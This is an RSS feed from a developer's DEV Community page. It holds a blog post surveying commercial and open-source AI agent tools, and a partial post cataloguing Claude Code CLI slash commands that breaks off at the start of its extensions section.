<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sebastian</title>
    <description>The latest articles on DEV Community by Sebastian (@admantium).</description>
    <link>https://dev.to/admantium</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F293754%2Fd729fdfe-66dd-4fe7-a2ed-9808c1fcb46d.png</url>
      <title>DEV Community: Sebastian</title>
      <link>https://dev.to/admantium</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/admantium"/>
    <language>en</language>
    <item>
      <title>From Large Language Models to AI Agent Systems</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 10 Aug 2026 04:59:21 +0000</pubDate>
      <link>https://dev.to/admantium/from-large-language-models-to-ai-agent-systems-3gec</link>
      <guid>https://dev.to/admantium/from-large-language-models-to-ai-agent-systems-3gec</guid>
      <description>&lt;p&gt;In 2024, the first capable Large Language Models emerged. Self-hosted Ollama with local model inference was one pattern, and using commercial vendors and models like OpenAI's GPT or Anthropic's Sonnet models. Several open-source projects started to create AI assistants, targeting working autonomously on tasks ranging from research to productivity and coding.&lt;/p&gt;

&lt;p&gt;In my blog article series about LLMs, I wrote &lt;a href="https://admantium.com/blog/llm34_requirements_of_personal_assistant/" rel="noopener noreferrer"&gt;Universal Personal Assistant with LLMs&lt;/a&gt; as the last entry in December 2024. I had the goal to investigate agent systems like &lt;a href="https://microsoft.github.io/autogen/stable/user-guide/autogenstudio-user-guide/index.html" rel="noopener noreferrer"&gt;AutoGen&lt;/a&gt;, &lt;a href="https://docs.crewai.com/" rel="noopener noreferrer"&gt;CrewAI&lt;/a&gt;, and &lt;a href="https://github.com/frdel/agent-zero" rel="noopener noreferrer"&gt;AgentZero&lt;/a&gt;. But using these frameworks showed severe limitations: Tool calls did not function reliably, and a human operator needed to constantly shepherd the LLM invocation to stay on track. I did not write a single article following this experience.&lt;/p&gt;

&lt;p&gt;In 2026, the AI agent paradigm is a technical reality, and it keeps evolving rapidly. Commercial products include agent-like capabilities in their products, from the universal ChatGPT, to knowledge organisation with Notion and web search with Perplexity. Open-source frameworks likewise evolved: Chat interfaces with session persistence like OpenWebUI, personal agent frameworks like OpenClaw and Hermes, and several coding tools like Droid, Kilo, and Pi.&lt;/p&gt;

&lt;p&gt;Agents are here now. They autonomously read and compose e-mails, conduct research and write comprehensive overviews, and program web applications and apps.&lt;/p&gt;

&lt;p&gt;In this ongoing blog series, agent applications and their capabilities will be the focus. Two goals are prevalent. First, to explore and categorize the (agentic) features of commercial products and open-source projects. Second, how to set up agentic tools and surrounding infrastructure like LLM proxies and observability tools.&lt;/p&gt;

&lt;p&gt;This introductory blog post provides an overview of application types and concrete commercial and open-source tools.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/llm35_llm_agent_application_overview/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Commercial Tools
&lt;/h2&gt;

&lt;p&gt;The space of commercial tools is enormous. While AI becomes embedded into many types of products, agentic capabilities are the focus in the following groups.&lt;/p&gt;

&lt;h2&gt;
  
  
  Research
&lt;/h2&gt;

&lt;p&gt;Gathering information from several webpages, reading several texts, comparing and summarizing — this is a premier task for AI apps.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.perplexity.ai/" rel="noopener noreferrer"&gt;Perplexity AI&lt;/a&gt;: Perplexity is an AI-powered search engine with different capabilities: Standard fast web search, and deep research for parallel fetching and comparison of several sources. You can select which model to use, enter text and voice, and instruct it to narrow down sources. Search processes and text generation happen fast, providing accurate results quickly, and always linking the relevant sources for verifying factual claims.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://support.google.com/websearch/answer/14901683" rel="noopener noreferrer"&gt;Google AI Search/AI Overview&lt;/a&gt;: Google also extended its search capabilities with conversational AI. When used, information is synthesized from various sources, providing a quick overview of topics of interest. Follow-up questions can narrow down the results. AI Overview is offered as an installable app for mobile phones only, which provides integration with a phone's native capabilities, including its camera for pictures or videos.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Knowledge Management
&lt;/h2&gt;

&lt;p&gt;Knowledge management is concerned with organizing lists, notes, and texts into a coherent, structured format. Keeping this structure with editors requires structural integrity and strict rules to follow, while using a tool is dependent on the provider's system, making exports difficult.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.notion.com/product/agents" rel="noopener noreferrer"&gt;Notion AI&lt;/a&gt;: Notion pages are structured documents accessible from the web or via dedicated app. Adding agents to these pages allows extended search capabilities via connectors, e.g. to external databases, or content improvements like summarization or text rewriting. Since agents can also query the complete workspace, context-aware suggestions can be produced, e.g. to reduce redundancy in notes. The specific strength of Notion is that agent invocation stays inside the workspace itself; no separate search or chat interface is required.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://en.wikipedia.org/wiki/NotebookLM" rel="noopener noreferrer"&gt;Google NotebookLM&lt;/a&gt;: A Gemini-powered research assistant that performs retrieval-augmented generation over uploaded sources such as Docs, PDFs, Slides, and URLs, generating grounded summaries and explanations. It is especially useful when the source set is known in advance and the goal is to stay within those materials. A distinctive feature is source-grounded output that avoids drifting beyond the uploaded corpus.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.perplexity.ai" rel="noopener noreferrer"&gt;Perplexity Spaces&lt;/a&gt;: The Spaces feature is designed as a long-running, continuous session in which you can add sources, configure LLM invocation instructions, attach custom files and other data sources, and then start discussions structured as threads. Additionally, spaces can be shared with other people, allowing collaborative work on dedicated knowledge areas.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Productivity
&lt;/h2&gt;

&lt;p&gt;Personal productivity is a very attractive area for agent applications. Organizing disjoint data sources, from task lists to calendars, from e-mails to note-taking apps, can be tedious if not structured rigorously. Agent apps provide organization and processes in spite of structural differences.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://knowledge.workspace.google.com/admin/gemini/google-workspace-with-gemini" rel="noopener noreferrer"&gt;Google Workspace with Gemini&lt;/a&gt;: Google apps remain at the frontier of productivity, already providing a tight integration between emails, documents, sheets, and task lists. Their Gemini model can be opened in any workspace app, providing immediate support by AI models. Alternatively, a Gemini chat can be used standalone, with full access to all information, making it seamless to e.g. let an e-mail be composed about the contents of several documents. Also, you can use this feature to generate texts and add them to documents.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://help.openai.com/en/articles/11752874-chatgpt-agent" rel="noopener noreferrer"&gt;ChatGPT Agent Mode&lt;/a&gt;: ChatGPT is the premier interface for invoking LLMs in long, session-based conversations. The agent mode extends this capability, allowing a combined tool array for multi-step workflows, with tasks like web research, file editing, code execution, and connection to various third-party apps. Tasks can even be scheduled regularly, providing timed workflows.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://slack.com/blog/news/ai-productivity-tools-slack" rel="noopener noreferrer"&gt;Slack AI&lt;/a&gt;: Slack is a standard communication tool, used in small businesses and enterprises alike. Integration of AI takes several forms. For channels, summaries can be generated. Inside a huddle, meeting notes can be summarized. And the canvas feature allows collaborative text editing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Content Generation
&lt;/h2&gt;

&lt;p&gt;While text generation and image generation are core capabilities in all aforementioned application areas, specialized domains require specific formats or need to follow rules.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.jasper.ai/agents" rel="noopener noreferrer"&gt;Jasper Agents&lt;/a&gt;: A complete platform for brand-specific content generation, including landing pages, blogs, and whole campaigns. It structures content generation into strict phases, and uses specialized agents for each step, with fixed guardrails and quality controls. It is also designed for collaborative work, allowing whole teams to structure and refine the workflow processes.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.ema.ai/" rel="noopener noreferrer"&gt;Ema&lt;/a&gt;: The Enterprise Machine Assistant promises AI employees that can fill roles from customer support, sales, research, and HR. Workflow engines invoke agents autonomously, and allow connecting to various data sources, ensuring governance and system connectivity.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.trysight.ai/" rel="noopener noreferrer"&gt;Sight AI&lt;/a&gt;: An autonomous content-generation platform for researching, writing, and publishing SEO-optimized articles. Specialized agents partake in each workflow phase, and learn from their work. Published page rankings are monitored, their impact measured, and important findings stored in a knowledge graph that serves as a continuously evolving knowledge base for improving all publication aspects.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sales and Support
&lt;/h2&gt;

&lt;p&gt;These agents are tuned for CRM workflows, customer engagement, and service automation.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.salesforce.com/agentforce/" rel="noopener noreferrer"&gt;Agentforce&lt;/a&gt;: Salesforce's all-in-one solution for conversational agents that support all CRM processes. They can be employed as customer-facing chatbots, in back-office environments for customer support, and even for reaching out to resellers. All agents are highly customizable by the human team that invokes them.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.kore.ai/" rel="noopener noreferrer"&gt;Kore.ai&lt;/a&gt;: Kore offers pre-made AI apps for banking, healthcare, retail, and HR, as well as a complex agentic platform with which to implement and add agents for any business processes. Their focus on and experience with enterprise customers results in well-integrated solutions, orchestrating multimodal workflows that include voice, chat, documents, and system access. A special feature is enterprise-grade virtual assistant deployment across many business functions.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://sierra.ai/" rel="noopener noreferrer"&gt;Sierra&lt;/a&gt;: Sierra provides brand-specific AI support agents for customer services across voice, webpage, and app channels. It handles both FAQ-style information access, and can also handle operational service flows, e.g. triggering returns or handling subscriptions. Their advertised strength is brand awareness, ensuring a coherent customer experience.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Workflow Automation
&lt;/h2&gt;

&lt;p&gt;These agents orchestrate multi-step workflows and actions across apps and systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://agentsindex.ai/zapier-agents" rel="noopener noreferrer"&gt;Zapier Agents&lt;/a&gt;: Zapier has been at the forefront of automation for more than a decade. With their rich experience of inter-system connectivity, it is no surprise that adding agents provides a seamless experience. Many templates are available, resulting in seamless invocation of agents to summarize content or work autonomously. This allows for productive business automation, spawning agents to fulfil customer requests, file invoices, and more.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://beam.ai/" rel="noopener noreferrer"&gt;Beam AI&lt;/a&gt;: Agentic process-automation platform whose agents interpret requests, make routing decisions, and automate workflows in support, sales operations, and HR. A standout feature is decision-making inside process flows, not just form-based task triggering.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Low-Code/Visual Coding
&lt;/h2&gt;

&lt;p&gt;While dedicated coding agents output complex source code, the entry level into custom applications are visual editors, allowing non-technical users to implement complex logic.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://lovable.dev/" rel="noopener noreferrer"&gt;Lovable&lt;/a&gt;: AI-powered platform for creating full-stack web apps from natural-language prompts. It is especially helpful for fast prototyping and MVP creation. Users can start with a generic prompt, and then quickly refine generated results with follow-ups. Since its inception, capabilities like third-party system integrations were added, allowing the generated code to access these systems immediately.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://bubble.io/ai" rel="noopener noreferrer"&gt;Bubble&lt;/a&gt;: A similar visual app builder with a focus on structured design workflows. Upon the initial prompts, design choices are presented, e.g. a set of features, or the structure of a webpage. The visual editor allows configuring these aspects, and then continuing with the prompt, or rewinding to an earlier version. It also rapidly expanded its capabilities with a third-party API connector, and opened a marketplace for plugins that can be integrated into its GUI.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://retool.com/ai-app-generation" rel="noopener noreferrer"&gt;Retool&lt;/a&gt;: Low-code platform for internal tools that uses AI to generate applications from prompts while keeping visual editing, data bindings, and enterprise controls in place. It is particularly strong when apps must connect to business data, run securely, and evolve over time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  General-Purpose Assistant
&lt;/h2&gt;

&lt;p&gt;These are broad assistants that handle many task types via chat, tools, and multimodal inputs.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://chatgpt.com/" rel="noopener noreferrer"&gt;ChatGPT&lt;/a&gt;: General assistant for writing, coding, and research, with browsing and agent capabilities for multi-step tasks. It is flexible enough to act as both a conversational helper and a goal-directed autonomous agent with decision-making capabilities.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://gemini.google.com/app" rel="noopener noreferrer"&gt;Gemini&lt;/a&gt;: General assistant for search, reasoning, and productivity tasks, with multimodal support and strong workspace integration. It works well when users need one assistant across documents, mail, search, and visual inputs.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.meta.ai/" rel="noopener noreferrer"&gt;Meta AI&lt;/a&gt;: The AI Assistant from Meta, accessible as a standalone web application, and also integrated into WhatsApp, Instagram, and Facebook. It allows seamless follow-up questions inside these apps, accessing user messages for rich, grounded context.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Open-Source Projects
&lt;/h2&gt;

&lt;p&gt;An agent is a persistent, task-oriented process that has access to tools for editing files, connecting to external systems, and even shell commands in its environment. It also has a memory system, deriving context from several sessions/conversations, which also evolves the agent's capabilities so as not to repeat mistakes.&lt;/p&gt;

&lt;p&gt;Converging with the appearance of the first Large Language Models, early frameworks that provide single agents were developed. The evolution to multi-agent invocation is rather new, which required experience with agent memory consistency and fixed workflow handovers between the different processes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Single-Agent Frameworks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/langchain-ai/langchain" rel="noopener noreferrer"&gt;LangChain&lt;/a&gt;: Modular framework in which strict workflows with agent invocation are designed. Agents have access to their own memory, vector stores for RAG, and other data sources. The framework even features its own domain-specific language for composing complex workflows as functions with streaming support.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/frdel/agent-zero" rel="noopener noreferrer"&gt;AgentZero&lt;/a&gt;: A general-purpose personal assistant framework with persistent memory and tool-enabled execution. It uses its host system for tool execution, so tasks can incorporate commands, code, and file operations.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/microsoft/autogen" rel="noopener noreferrer"&gt;AutoGen&lt;/a&gt;: Open-source framework for building AI agents and facilitating cooperation among multiple agents to solve tasks. It adds conversation programming and finite state machine patterns for controlling agent communication. AgentEval is integrated for task-oriented evaluation and iterative self-improvement. Has been declared in maintenance mode as of September 2025.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/emcie-co/parlant" rel="noopener noreferrer"&gt;Parlant&lt;/a&gt;: An agent harness for reliable customer-facing AI. Agent behavior is modeled as explicit rules and conditions, then selectively injects only the relevant guidelines into the prompt at runtime. This results in fine-grained, predictable control over a single agent.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Multi-Agent Frameworks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/crewAIInc/crewAI" rel="noopener noreferrer"&gt;CrewAI&lt;/a&gt;: Multi-agent orchestration framework centered on crews, agents, and tasks. The template method separates agents and tasks into YAML files, making projects easier to read and reuse. It also adds built-in tools, planning support, and training-oriented workflows.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://milvus.io/blog/openclaw-formerly-clawdbot-moltbot-explained-a-complete-guide-to-the-autonomous-ai-agent.md" rel="noopener noreferrer"&gt;OpenClaw&lt;/a&gt;: The most famous open-source agent runtime that generated awareness for technical and non-technical users alike. It provides three strong pillars: First, support for more than 20 LLM providers, including OpenAI, Anthropic, the generic OpenRouter, and more. Second, tight integration into the Google and Apple ecosystems, connecting apps from mail to note-taking. Third, a multitude of channels to simplify communication with agents, including popular messaging platforms like WhatsApp and Telegram, and platforms like Slack and Discord. It is also known for fast-moving features, not always with system stability and backwards compatibility.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://yuv.ai/blog/hermes-agent" rel="noopener noreferrer"&gt;Hermes Agent&lt;/a&gt;: A framework for self-improving agents with persistent memory and autonomous skill creation, using searchable past interactions and skill documents to adapt workflows across chat platforms. It is the number one contender to OpenClaw, valued for its stability and strict permission system to keep agents from harming their system.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/RightNow-AI/openfang" rel="noopener noreferrer"&gt;OpenFang&lt;/a&gt;: A fast-moving open-source agent operating system built in Rust, positioned as a more kernel-level, background-process style alternative to chat-first agents. It emphasizes autonomous execution, skill templates, and a command registry, geared toward reliable scheduling and long-running tasks. It is shipped as a single, production-oriented binary, reducing resource overhead significantly compared to frameworks based on interpreted programming languages.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/zeroclaw-labs/zeroclaw" rel="noopener noreferrer"&gt;ZeroClaw&lt;/a&gt;: A compact, fully autonomous AI assistant infrastructure, emphasizing simplified practical deployments and channel connectivity. Its support for LLM providers and channels rivals that of OpenClaw, and its roots in Rust provide operational benefits, with a special focus on permissions to execute tools. An interesting feature is its hardware support to access communication protocols like I2C or serial interfaces, making it viable to be deployed on Raspberry Pi or ESP32 platforms.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In 2026, AI agents perform autonomous tasks in areas like productivity, research, content generation, and coding. This blog article gave a concise overview of both commercial tools and open-source projects in these realms. In the commercial space, the breadth from research to knowledge management, and from low-code to workflow automation, shows how much traction agents are developing. And the open-source projects show the steady progress from single-agent frameworks, requiring manual Python code with LLM invocations, to Telegram-controlled multi-agent environments with full access to the computer they run on.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>llm</category>
    </item>
    <item>
      <title>Claude Code CLI: Extensions and Integrations</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 30 Jul 2026 04:52:38 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-extensions-and-integrations-2cch</link>
      <guid>https://dev.to/admantium/claude-code-cli-extensions-and-integrations-2cch</guid>
      <description>&lt;p&gt;Claude Code is becoming an universal agentic tool, enabling text generation, image understanding, suggesting and performing tool calls, and working on local files. It does not only help in software engineering - it can also be used to access and parse database entries, perform web searches, access services via APIs, control browsers, and more.&lt;/p&gt;

&lt;p&gt;In an ongoing series, I systematically explore all Claude Code commands. Its more then 40 subcommands can be used for setup, configuration, conversation ops, and more. The focus of this article are extensions, mechanisms that provide additional capabilities, and integrations, allowing Claude to access other systems.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude06_extensions_and_integrations/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Extensions
&lt;/h2&gt;

&lt;p&gt;Claude Codes uses an agentic loop that processes a request, adds the system prompts and other context information, suggests tools calls, evaluates them, and modifies files. In this loop, several extension mechanisms can be used, modifying the behavior of loop actions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyvyg5qymm22ptzpwnpyc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyvyg5qymm22ptzpwnpyc.png" width="520" height="1228"&gt;&lt;/a&gt;&lt;/p&gt;

